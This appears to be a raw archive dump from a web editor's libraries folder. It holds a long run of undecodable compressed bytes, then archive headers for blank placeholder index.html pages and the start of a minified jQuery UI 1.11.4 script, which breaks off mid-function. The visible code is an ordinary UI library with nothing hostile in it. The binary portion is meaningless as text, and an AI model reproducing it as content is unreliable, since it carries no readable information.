��GZ��.���v��:wI�{7�?9�B�=�,y�U�����k�U�DJX�!t�������k��!δ`���-��|8J쀥��!���̺x�{ഷ����ۄ�8S�esk}�G���AAսAo@�{]c2z˂��2�zks����	�@�~]�!�Mh��V��
6��r��>�-�6��H��[#[[3[[+[[;[['�,��lG�u�����x?�.S�R�����u�*��x�]��"v]�J"1��
*�v+#P�
�
++�U��B��&���*kuqW1lXST�UR9�b�]���)	w���Ҳ���	Ƅ#]��à	�w�WN�PEWE�dcʉ�S�	S!�Q}~��yky=hN�$�}�@s*H�cv�}��$������-J*�)���$�4�����d��M-�F#� �S�%݅ъd!.�
K�CѪdh������5I���uGG%���P\�]�,��QIewit\�t��+��3�0��£�ˢ�e{�IJ�ݑ�a��^sxd|wytR�|��/?��":9Y�ۊ���O��NI�SB�w�PzSҾDM�ک�%j�Zy�U���i��zK�8�n8m������ENrd�7z��V��O"�]�._!�W4�}E|X��٪���w6�K�6��G�p_�!�f]�w�|e�n�.�P�F��)�~�D�p�`�+�y'�ɖ*�`���w�[ߓwRT̅�&|q��=���py�Z8o9�?K�����J��	��JŮ����v4N��"���<Eԣ(E��}%��ؔ��M��&�~G��eӳyӆ�k�ObG|z�w���(	��oºE��kf�[`��I�%G��/�-���ʷψX7&y��Q���3����_@y_�Cs���w�vZs*l\Ν�O����e0#�]CC�D��5��8�,^G-�\��Z�UJ��CF�yV8kŵA%$��f��՚)���m5s̎i��P.7���QL�{HG~�\q1���ptKr�V�J���~��i�_�n�Y��%Ġ�|�47�WY��uG���I���n�]^�Zm�ֲ$��@w�<W�`X�(�
7k.��aO!�����N�O�;b}��N�;�7\�	鮛-�w���Nl��nd��NLG��v$���Ǵ��	�v[Y$�Cg�����N9���	٨	mDN �#Q�:!�	�&�'ە`
�g���a@��Ѐ	mB��E|��T��XGSqΟ��3船t�ͭ-�:ݦ��w]	i�b�n������@��Ȁ��.$��	�\Gg�DSd���,K�]LC�U�B$i�(v��V��� 2B>a�8����V$�mW�ho�fhtt��5����+�m��~�65��xwaͱw��pt� �oB��>P}�fThC��hV��c���c�7� �����~	k�xw)m�~7�"'���3��`pn謜�Lh��q�+v��~7W�{�	���;އr���b�2�
h�v���0���Z��$t�mlw��f���>6�CA	$/�	>��	��u�D�KXӡ��v�=D"�4gk؁��Aʋ�1rhuE�;9hˏ�I�lU�"�MJ`	���9=����l,4�&�����Ky%Cb���F�*
�	|e�8"�}����fc�OT���������j�װ]�
]�
�;
��^oi8|x߸:O����#ئ�5�5z�Ӧ����5I�S���w"v��^�[�n{���v�3`�\@r�M���t��<����Tz��~1w�')
�%B^O����#�@ot�?�}��,���{D�{�zΘ]��8�'��M���7m�-�|�&/��;6�ɠM���%�|�&/����j����6��M~h��l�#���M~l����u����a����g6y�&��ɯl���m�[���&o��6��M��&�n��m�G���&��_l�7���E^��Klr�M.��Glr�M��ɕ6���:/��z�w���;E𻾰�lԯ"���2]-]d���4�J�`��g��"i1<�0�_h.R���tH$ah.ah-e�\d?�E��Cs�������\�x4�p�/4Ik,ϥ��0H.�~��H�1��Q�a/�_�� �� {�~/��_�� ���_�� ���t�M�%��49Y�.!3E�.�~���W�.�~���W�.�~���W�.�~���W���~E؋�W���~E؋�W���~o&A�{	��[I��F��v�����q�S%�3༈�H�e�D,�*`\��8��:lf��+n���,�3,�;,>zXܵ�x>�� <�NoV��E�q�8K�&�>�Ϊ}��(^QF��G�a`�,c9�k��⌷��&`�2�]
�Ugվo��ow�ҁ���B)A�C��3q���?���z+��"K�"���ق'~�i�bZ}�6�.���2�ZT�{�n��h��/!4;OX�pUHJ�&�.끶�>(-���;�	��a��8�W��
�e\bRtђI&^�{18�d(G�MjJ��)QT�S�$�+Δ�@�
��j}/S0�D�e�J"]����V��?�]X,Nm���a�Hi
uLۅˢ*��щ.Xj��W
D,*����d*6V��5�C���^��N7r2Xz�ַdH�f�)�x��CU�m��-�5J�������g��"���ώ��]2����̐�2�^8P2���Q?��D�}B~a��D�`��8��Q�	���=�r��}P.�(䵠�sP�$�:s���]t�pF��e*u�H��e���:�[�����I{Ɨ��9hqm�Z����ڢg.��gr���6�1��&��Y���}4G�k��_�Q�Z��WsԿ���}N&�4���D��?��e�eǤ�-��j}_к;</��ܰV�Ÿ��^�>�F��~+�i$��F����E�ӱT�&�~�U�+|�+�����2q���J�0/���B�~��	�z�9�.��7�^d���8�%,�A���9Z�Ru�
f0��2��v�{�*�x���G���M�[�p��[��ﱗ�H>l�벗�U��Ed�{�����L��W�ü��U" ��o3��k�8�x!j�h�Ǭ��P��L��«���EqU��٧%:�����m�W���j�sr�C�����H��y9c��S�!P��eX�}���^楝˽:Mv�WxE�
	�^$�W��"�>U.��ڮ�XC�ȅ��k���<)׋�Y�Q0cS���
3��|�d�0C����o�\^��0�6��gߘ�
/�2+tFU��>��b�h1<n"tFN<�Q=�}m< �U[��g��!_	�%?����R�:[�Q�&j�V:?��Τ�祚�*��c~L]��jJgAw<-�e������ST�˟d�_��������Z�桢2j=+�=�Mt;�|e��
��ד�#�y/�^9�t��-����{ieLV��X�\�Y�جz�6�����_����U���+��>��5�����H�ǯW?~?���
	�q����{�5��G�yݛơ~�*�#*e<���BZ���J�F��?���~���U������d��~	�ܒ�q8^�!���
�����"����$[���-YGݏ�F����1齒Ńy)�E�;�%�û�oɅ��g�U�]&�rR��n��F�軌s���s7ɝƹ����3,��@T��T��=7�tenHqe-�=&��M3.������W ��CǍ�(:5H|�o��M�w��K��g!�}@q�\AqA���
��1)�M[�y.���Lm���R���*��#{%:o����[pܐ�1҃�6W`����/�Ag�)댴lټ���<����"=c��k�L�h٢������G\�'O��9��<G�+�y3lH�<mu��0?д[����
���p,(;$��t�q�,oX�lwng��C�.3�Ͼj��mZ��Y!�[����^���6�{�@�v��DdI	þ,=��>R�q(H��_���U�����mU�v�Ha���
��b���z;�EAdq򞜐>-i�C@�[׋c��tG��V�P*���NW��)��7$$�X����뷮_��7���ɖ҇�z��ڼtZ޸Ϳx��Eux��g����J���%��!�tt��� ������@*��*ls�(S`c��!��S�鰫�n�p�z��[{�=�ՇY���yAVe�f���:�)��яn2R��,��F�Tƒ��6+�ָ�#�d�Dx`����V,�7r�<��`H��LA@7��_+��q��k�p�F�l:ĞVR�u.2�G��O�}��E����W��h�G�P��?���!/�n��`�u���v��[$[�"��޽��N��ܖ�p̒�D��@�l��h��:\�_�-c�.�Bp�Aw���Mm��"�x��Gn�	�Ã,�q�:�D��ԉ�I���x	nO��*�P�}c���`]�'R��\ij%&�p��[�\	>�[��,*	�ٚ�)�[c�-��#s�$j�X�6���#ylm�Q�3�蒳���إ3o�퇵���_��w���ew������Glw�KݱL�N��[�a·Vᡸ���Cv	�>�lLdLyM
��jάy��ĄJ�v�ݽ��^�ލ�w˳bwԽ�z��kE�U&T�
�⸇F�T��� �C��U��6���Fv�(޾��/�5��M�ńZM�-�}���q���si�O�~���n|�D�HO��:#BߝQ�����t�	����̈́w�;bw0��7�5�{�C���(�͢lG��X��F,-�sS�Q͏W�Q|/
���i�ʠyo�|��ٖ��$����l@��f���ؑ��}��lO�-*
��	��}��}�bC��0� ������e�WپO��A?8iŏ$�{PW�����pn\�	���kR�g��quu3ѼсN��k��Q{�ڕj�}M�ū�M��m��Sﰥ�6�m�-븭}�����m뛷�����ێ}���ptl���u��b1���{���L��L#���ߊK[��6����Cm��;��R�[�]j�V{���~R�j?����Q���Ϫ}D�cj?���j���	�_T���/���ڧ�~M�3j�U��گ����o�����~G�ڗ�~W�+j���jh~ʜ�L�jXX�R�3LÙ]�1�I$�<c��L7)螷��3Nd	guy��_�.��ty|-{	��.O�L�c���:�)Jٶ���K[%g�Rp�: �08��U�(�G%-h���Q�W�4JZ�(�� ���35 ���n$p��;�<��)0����^��]�����ǿ>Pل�7!}�9!}�9���L��$l�/&)3�/!��)"�/7S/%�0G�Xi�	�Xe��Xmf���}��)2�QD����̯@t
1�v8�N���Y#�{f��S��}�B�;EY�3�N^��N�t��?H�<H�A�tq<���O.)�B�V�EN��K-����՚-��j���eK""m�:�ْ
\jIG�H�ZK:)qj`L�%�&9
-�H�)��f�Y,���b�7G���3]���x�O!�4�(���}�ݙ�*������r�B{�B<;f0>��J�q��e
�r�?��7!�\�����9�S3Tto����*��{G�^�bx�5��1و�a�ni��c����h5�l�e��R'���W�+��I) CZʈ�R,W|2��%Tu�Ѿ�d\�i�S�?�v6[{>���;g�&_���'D7�Kci��ƃΜ�\�P�����̎N�:{��zv*�� }6#��>;>������B��;O�m�;�ug��Y�;�5V3ȧܰ���6{�޶�v�Nӎ�Ut����$�{%�:��Y8N�Ɓ�Z��Mk�H�jQ�9�7�L�z-Z��E;���hQ�a��=m@��pO{پ}��۾��Q����oE�La����-З�]
<e�
����(�L���0�a&��%)��rL|8�*D2���Z�Z�QTu���Q�N	lI�P��
�*⬪�k�Ue_���*���(jL�ӑ�3���Q��q���.�a5R�f�-0�����zs��-��K���X�ˉ�r�2N�%'�δ{킚�7n��G��3�u2�vG�T��Ofz8Q{�_U�o&��3���=���@�҂���
�*�6;���I��M�G�y�G@�����`0ş2�=�#AW9!"o�ٜ�J/�=�2�k����'��/f�f��2k��ih���r��Χ	�-����>%$�� ����Tj��E�����t�Y���π�$�Gс?GK�l�Y�:�o����}I���'�]�y�w�y�� C~I�_���AU���]�{l߂oN�U�}k����H�ܦ�`�
`Ƀ���G40����ҟH��vP��TJ;���QGQ�s��� )>�,1ĝ����+���H��j����o���[m�?�~�p�yK�%��3�p���k�X�W��cv;�/q@vU���ߖ�U��Q��Uu�'ɢE�l�g�.չ��b�ſ��f�Uy�לR��f��#7"�s:�t��$;S��}5��"��p����_"���)ij=�Y���I|�8��8W�\m��I�1�5$��Z�+�s%�uƹn��L�<G��^�L��+���,\�U��@��;���?���editor/libraries/mediaplayer/index.html000060400000000054150750527150014301 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/index.html000060400000000054150750527150012005 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/jquery/js/jquery-ui.min.js000060400000251025150750527150015023 0ustar00/*! jQuery UI - v1.11.4 - 2016-05-15
* http://jqueryui.com
* Includes: core.js, widget.js, mouse.js, draggable.js, resizable.js, sortable.js, slider.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */

(function(t){"function"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)})(function(t){function e(e,s){var n,a,o,r=e.nodeName.toLowerCase();return"area"===r?(n=e.parentNode,a=n.name,e.href&&a&&"map"===n.nodeName.toLowerCase()?(o=t("img[usemap='#"+a+"']")[0],!!o&&i(o)):!1):(/^(input|select|textarea|button|object)$/.test(r)?!e.disabled:"a"===r?e.href||s:s)&&i(e)}function i(e){return t.expr.filters.visible(e)&&!t(e).parents().addBack().filter(function(){return"hidden"===t.css(this,"visibility")}).length}t.ui=t.ui||{},t.extend(t.ui,{version:"1.11.4",keyCode:{BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}}),t.fn.extend({scrollParent:function(e){var i=this.css("position"),s="absolute"===i,n=e?/(auto|scroll|hidden)/:/(auto|scroll)/,a=this.parents().filter(function(){var e=t(this);return s&&"static"===e.css("position")?!1:n.test(e.css("overflow")+e.css("overflow-y")+e.css("overflow-x"))}).eq(0);return"fixed"!==i&&a.length?a:t(this[0].ownerDocument||document)},uniqueId:function(){var t=0;return function(){return this.each(function(){this.id||(this.id="uk-id-"+ ++t)})}}(),removeUniqueId:function(){return this.each(function(){/^uk-id-\d+$/.test(this.id)&&t(this).removeAttr("id")})}}),t.extend(t.expr[":"],{data:t.expr.createPseudo?t.expr.createPseudo(function(e){return function(i){return!!t.data(i,e)}}):function(e,i,s){return!!t.data(e,s[3])},focusable:function(i){return e(i,!isNaN(t.attr(i,"tabindex")))},tabbable:function(i){var s=t.attr(i,"tabindex"),n=isNaN(s);return(n||s>=0)&&e(i,!n)}}),t("<a>").outerWidth(1).jquery||t.each(["Width","Height"],function(e,i){function s(e,i,s,a){return t.each(n,function(){i-=parseFloat(t.css(e,"padding"+this))||0,s&&(i-=parseFloat(t.css(e,"border"+this+"Width"))||0),a&&(i-=parseFloat(t.css(e,"margin"+this))||0)}),i}var n="Width"===i?["Left","Right"]:["Top","Bottom"],a=i.toLowerCase(),o={innerWidth:t.fn.innerWidth,innerHeight:t.fn.innerHeight,outerWidth:t.fn.outerWidth,outerHeight:t.fn.outerHeight};t.fn["inner"+i]=function(e){return void 0===e?o["inner"+i].call(this):this.each(function(){t(this).css(a,s(this,e)+"px")})},t.fn["outer"+i]=function(e,n){return"number"!=typeof e?o["outer"+i].call(this,e):this.each(function(){t(this).css(a,s(this,e,!0,n)+"px")})}}),t.fn.addBack||(t.fn.addBack=function(t){return this.add(null==t?this.prevObject:this.prevObject.filter(t))}),t("<a>").data("a-b","a").removeData("a-b").data("a-b")&&(t.fn.removeData=function(e){return function(i){return arguments.length?e.call(this,t.camelCase(i)):e.call(this)}}(t.fn.removeData)),t.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase()),t.fn.extend({focus:function(e){return function(i,s){return"number"==typeof i?this.each(function(){var e=this;setTimeout(function(){t(e).focus(),s&&s.call(e)},i)}):e.apply(this,arguments)}}(t.fn.focus),disableSelection:function(){var t="onselectstart"in document.createElement("div")?"selectstart":"mousedown";return function(){return this.bind(t+".uk-disableSelection",function(t){t.preventDefault()})}}(),enableSelection:function(){return this.unbind(".uk-disableSelection")},zIndex:function(e){if(void 0!==e)return this.css("zIndex",e);if(this.length)for(var i,s,n=t(this[0]);n.length&&n[0]!==document;){if(i=n.css("position"),("absolute"===i||"relative"===i||"fixed"===i)&&(s=parseInt(n.css("zIndex"),10),!isNaN(s)&&0!==s))return s;n=n.parent()}return 0}}),t.ui.plugin={add:function(e,i,s){var n,a=t.ui[e].prototype;for(n in s)a.plugins[n]=a.plugins[n]||[],a.plugins[n].push([i,s[n]])},call:function(t,e,i,s){var n,a=t.plugins[e];if(a&&(s||t.element[0].parentNode&&11!==t.element[0].parentNode.nodeType))for(n=0;a.length>n;n++)t.options[a[n][0]]&&a[n][1].apply(t.element,i)}};var s=0,n=Array.prototype.slice;t.cleanData=function(e){return function(i){var s,n,a;for(a=0;null!=(n=i[a]);a++)try{s=t._data(n,"events"),s&&s.remove&&t(n).triggerHandler("remove")}catch(o){}e(i)}}(t.cleanData),t.widget=function(e,i,s){var n,a,o,r,h={},l=e.split(".")[0];return e=e.split(".")[1],n=l+"-"+e,s||(s=i,i=t.Widget),t.expr[":"][n.toLowerCase()]=function(e){return!!t.data(e,n)},t[l]=t[l]||{},a=t[l][e],o=t[l][e]=function(t,e){return this._createWidget?(arguments.length&&this._createWidget(t,e),void 0):new o(t,e)},t.extend(o,a,{version:s.version,_proto:t.extend({},s),_childConstructors:[]}),r=new i,r.options=t.widget.extend({},r.options),t.each(s,function(e,s){return t.isFunction(s)?(h[e]=function(){var t=function(){return i.prototype[e].apply(this,arguments)},n=function(t){return i.prototype[e].apply(this,t)};return function(){var e,i=this._super,a=this._superApply;return this._super=t,this._superApply=n,e=s.apply(this,arguments),this._super=i,this._superApply=a,e}}(),void 0):(h[e]=s,void 0)}),o.prototype=t.widget.extend(r,{widgetEventPrefix:a?r.widgetEventPrefix||e:e},h,{constructor:o,namespace:l,widgetName:e,widgetFullName:n}),a?(t.each(a._childConstructors,function(e,i){var s=i.prototype;t.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete a._childConstructors):i._childConstructors.push(o),t.widget.bridge(e,o),o},t.widget.extend=function(e){for(var i,s,a=n.call(arguments,1),o=0,r=a.length;r>o;o++)for(i in a[o])s=a[o][i],a[o].hasOwnProperty(i)&&void 0!==s&&(e[i]=t.isPlainObject(s)?t.isPlainObject(e[i])?t.widget.extend({},e[i],s):t.widget.extend({},s):s);return e},t.widget.bridge=function(e,i){var s=i.prototype.widgetFullName||e;t.fn[e]=function(a){var o="string"==typeof a,r=n.call(arguments,1),h=this;return o?this.each(function(){var i,n=t.data(this,s);return"instance"===a?(h=n,!1):n?t.isFunction(n[a])&&"_"!==a.charAt(0)?(i=n[a].apply(n,r),i!==n&&void 0!==i?(h=i&&i.jquery?h.pushStack(i.get()):i,!1):void 0):t.error("no such method '"+a+"' for "+e+" widget instance"):t.error("cannot call methods on "+e+" prior to initialization; "+"attempted to call method '"+a+"'")}):(r.length&&(a=t.widget.extend.apply(null,[a].concat(r))),this.each(function(){var e=t.data(this,s);e?(e.option(a||{}),e._init&&e._init()):t.data(this,s,new i(a,this))})),h}},t.Widget=function(){},t.Widget._childConstructors=[],t.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{disabled:!1,create:null},_createWidget:function(e,i){i=t(i||this.defaultElement||this)[0],this.element=t(i),this.uuid=s++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=t(),this.hoverable=t(),this.focusable=t(),i!==this&&(t.data(i,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===i&&this.destroy()}}),this.document=t(i.style?i.ownerDocument:i.document||i),this.window=t(this.document[0].defaultView||this.document[0].parentWindow)),this.options=t.widget.extend({},this.options,this._getCreateOptions(),e),this._create(),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:t.noop,_getCreateEventData:t.noop,_create:t.noop,_init:t.noop,destroy:function(){this._destroy(),this.element.unbind(this.eventNamespace).removeData(this.widgetFullName).removeData(t.camelCase(this.widgetFullName)),this.widget().unbind(this.eventNamespace).removeAttr("aria-disabled").removeClass(this.widgetFullName+"-disabled "+"uk-state-disabled"),this.bindings.unbind(this.eventNamespace),this.hoverable.removeClass("uk-state-hover"),this.focusable.removeClass("uk-state-focus")},_destroy:t.noop,widget:function(){return this.element},option:function(e,i){var s,n,a,o=e;if(0===arguments.length)return t.widget.extend({},this.options);if("string"==typeof e)if(o={},s=e.split("."),e=s.shift(),s.length){for(n=o[e]=t.widget.extend({},this.options[e]),a=0;s.length-1>a;a++)n[s[a]]=n[s[a]]||{},n=n[s[a]];if(e=s.pop(),1===arguments.length)return void 0===n[e]?null:n[e];n[e]=i}else{if(1===arguments.length)return void 0===this.options[e]?null:this.options[e];o[e]=i}return this._setOptions(o),this},_setOptions:function(t){var e;for(e in t)this._setOption(e,t[e]);return this},_setOption:function(t,e){return this.options[t]=e,"disabled"===t&&(this.widget().toggleClass(this.widgetFullName+"-disabled",!!e),e&&(this.hoverable.removeClass("uk-state-hover"),this.focusable.removeClass("uk-state-focus"))),this},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_on:function(e,i,s){var n,a=this;"boolean"!=typeof e&&(s=i,i=e,e=!1),s?(i=n=t(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),t.each(s,function(s,o){function r(){return e||a.options.disabled!==!0&&!t(this).hasClass("uk-state-disabled")?("string"==typeof o?a[o]:o).apply(a,arguments):void 0}"string"!=typeof o&&(r.guid=o.guid=o.guid||r.guid||t.guid++);var h=s.match(/^([\w:-]*)\s*(.*)$/),l=h[1]+a.eventNamespace,u=h[2];u?n.delegate(u,l,r):i.bind(l,r)})},_off:function(e,i){i=(i||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,e.unbind(i).undelegate(i),this.bindings=t(this.bindings.not(e).get()),this.focusable=t(this.focusable.not(e).get()),this.hoverable=t(this.hoverable.not(e).get())},_delay:function(t,e){function i(){return("string"==typeof t?s[t]:t).apply(s,arguments)}var s=this;return setTimeout(i,e||0)},_hoverable:function(e){this.hoverable=this.hoverable.add(e),this._on(e,{mouseenter:function(e){t(e.currentTarget).addClass("uk-state-hover")},mouseleave:function(e){t(e.currentTarget).removeClass("uk-state-hover")}})},_focusable:function(e){this.focusable=this.focusable.add(e),this._on(e,{focusin:function(e){t(e.currentTarget).addClass("uk-state-focus")},focusout:function(e){t(e.currentTarget).removeClass("uk-state-focus")}})},_trigger:function(e,i,s){var n,a,o=this.options[e];if(s=s||{},i=t.Event(i),i.type=(e===this.widgetEventPrefix?e:this.widgetEventPrefix+e).toLowerCase(),i.target=this.element[0],a=i.originalEvent)for(n in a)n in i||(i[n]=a[n]);return this.element.trigger(i,s),!(t.isFunction(o)&&o.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},t.each({show:"fadeIn",hide:"fadeOut"},function(e,i){t.Widget.prototype["_"+e]=function(s,n,a){"string"==typeof n&&(n={effect:n});var o,r=n?n===!0||"number"==typeof n?i:n.effect||i:e;n=n||{},"number"==typeof n&&(n={duration:n}),o=!t.isEmptyObject(n),n.complete=a,n.delay&&s.delay(n.delay),o&&t.effects&&t.effects.effect[r]?s[e](n):r!==e&&s[r]?s[r](n.duration,n.easing,a):s.queue(function(i){t(this)[e](),a&&a.call(s[0]),i()})}}),t.widget;var a=!1;t(document).mouseup(function(){a=!1}),t.widget("ui.mouse",{version:"1.11.4",options:{cancel:"input,textarea,button,select,option",distance:1,delay:0},_mouseInit:function(){var e=this;this.element.bind("mousedown."+this.widgetName,function(t){return e._mouseDown(t)}).bind("click."+this.widgetName,function(i){return!0===t.data(i.target,e.widgetName+".preventClickEvent")?(t.removeData(i.target,e.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void 0}),this.started=!1},_mouseDestroy:function(){this.element.unbind("."+this.widgetName),this._mouseMoveDelegate&&this.document.unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(e){if(!a){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(e),this._mouseDownEvent=e;var i=this,s=1===e.which,n="string"==typeof this.options.cancel&&e.target.nodeName?t(e.target).closest(this.options.cancel).length:!1;return s&&!n&&this._mouseCapture(e)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(e)!==!1,!this._mouseStarted)?(e.preventDefault(),!0):(!0===t.data(e.target,this.widgetName+".preventClickEvent")&&t.removeData(e.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(t){return i._mouseMove(t)},this._mouseUpDelegate=function(t){return i._mouseUp(t)},this.document.bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate),e.preventDefault(),a=!0,!0)):!0}},_mouseMove:function(e){if(this._mouseMoved){if(t.ui.ie&&(!document.documentMode||9>document.documentMode)&&!e.button)return this._mouseUp(e);if(!e.which)return this._mouseUp(e)}return(e.which||e.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(e),e.preventDefault()):(this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,e)!==!1,this._mouseStarted?this._mouseDrag(e):this._mouseUp(e)),!this._mouseStarted)},_mouseUp:function(e){return this.document.unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,e.target===this._mouseDownEvent.target&&t.data(e.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(e)),a=!1,!1},_mouseDistanceMet:function(t){return Math.max(Math.abs(this._mouseDownEvent.pageX-t.pageX),Math.abs(this._mouseDownEvent.pageY-t.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),t.widget("ui.draggable",t.ui.mouse,{version:"1.11.4",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this.element.addClass("uk-draggable"),this.options.disabled&&this.element.addClass("uk-draggable-disabled"),this._setHandleClassName(),this._mouseInit()},_setOption:function(t,e){this._super(t,e),"handle"===t&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){return(this.helper||this.element).is(".uk-draggable-dragging")?(this.destroyOnClear=!0,void 0):(this.element.removeClass("uk-draggable uk-draggable-dragging uk-draggable-disabled"),this._removeHandleClassName(),this._mouseDestroy(),void 0)},_mouseCapture:function(e){var i=this.options;return this._blurActiveElement(e),this.helper||i.disabled||t(e.target).closest(".uk-resizable-handle").length>0?!1:(this.handle=this._getHandle(e),this.handle?(this._blockFrames(i.iframeFix===!0?"iframe":i.iframeFix),!0):!1)},_blockFrames:function(e){this.iframeBlocks=this.document.find(e).map(function(){var e=t(this);return t("<div>").css("position","absolute").appendTo(e.parent()).outerWidth(e.outerWidth()).outerHeight(e.outerHeight()).offset(e.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(e){var i=this.document[0];if(this.handleElement.is(e.target))try{i.activeElement&&"body"!==i.activeElement.nodeName.toLowerCase()&&t(i.activeElement).blur()}catch(s){}},_mouseStart:function(e){var i=this.options;return this.helper=this._createHelper(e),this.helper.addClass("uk-draggable-dragging"),this._cacheHelperProportions(),t.ui.ddmanager&&(t.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=this.helper.parents().filter(function(){return"fixed"===t(this).css("position")}).length>0,this.positionAbs=this.element.offset(),this._refreshOffsets(e),this.originalPosition=this.position=this._generatePosition(e,!1),this.originalPageX=e.pageX,this.originalPageY=e.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",e)===!1?(this._clear(),!1):(this._cacheHelperProportions(),t.ui.ddmanager&&!i.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e),this._normalizeRightBottom(),this._mouseDrag(e,!0),t.ui.ddmanager&&t.ui.ddmanager.dragStart(this,e),!0)},_refreshOffsets:function(t){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:t.pageX-this.offset.left,top:t.pageY-this.offset.top}},_mouseDrag:function(e,i){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(e,!0),this.positionAbs=this._convertPositionTo("absolute"),!i){var s=this._uiHash();if(this._trigger("drag",e,s)===!1)return this._mouseUp({}),!1;this.position=s.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",t.ui.ddmanager&&t.ui.ddmanager.drag(this,e),!1},_mouseStop:function(e){var i=this,s=!1;return t.ui.ddmanager&&!this.options.dropBehaviour&&(s=t.ui.ddmanager.drop(this,e)),this.dropped&&(s=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||this.options.revert===!0||t.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?t(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger("stop",e)!==!1&&i._clear()}):this._trigger("stop",e)!==!1&&this._clear(),!1},_mouseUp:function(e){return this._unblockFrames(),t.ui.ddmanager&&t.ui.ddmanager.dragStop(this,e),this.handleElement.is(e.target)&&this.element.focus(),t.ui.mouse.prototype._mouseUp.call(this,e)},cancel:function(){return this.helper.is(".uk-draggable-dragging")?this._mouseUp({}):this._clear(),this},_getHandle:function(e){return this.options.handle?!!t(e.target).closest(this.element.find(this.options.handle)).length:!0},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this.handleElement.addClass("uk-draggable-handle")},_removeHandleClassName:function(){this.handleElement.removeClass("uk-draggable-handle")},_createHelper:function(e){var i=this.options,s=t.isFunction(i.helper),n=s?t(i.helper.apply(this.element[0],[e])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element;return n.parents("body").length||n.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),s&&n[0]===this.element[0]&&this._setPositionRelative(),n[0]===this.element[0]||/(fixed|absolute)/.test(n.css("position"))||n.css("position","absolute"),n},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(e){"string"==typeof e&&(e=e.split(" ")),t.isArray(e)&&(e={left:+e[0],top:+e[1]||0}),"left"in e&&(this.offset.click.left=e.left+this.margins.left),"right"in e&&(this.offset.click.left=this.helperProportions.width-e.right+this.margins.left),"top"in e&&(this.offset.click.top=e.top+this.margins.top),"bottom"in e&&(this.offset.click.top=this.helperProportions.height-e.bottom+this.margins.top)},_isRootNode:function(t){return/(html|body)/i.test(t.tagName)||t===this.document[0]},_getParentOffset:function(){var 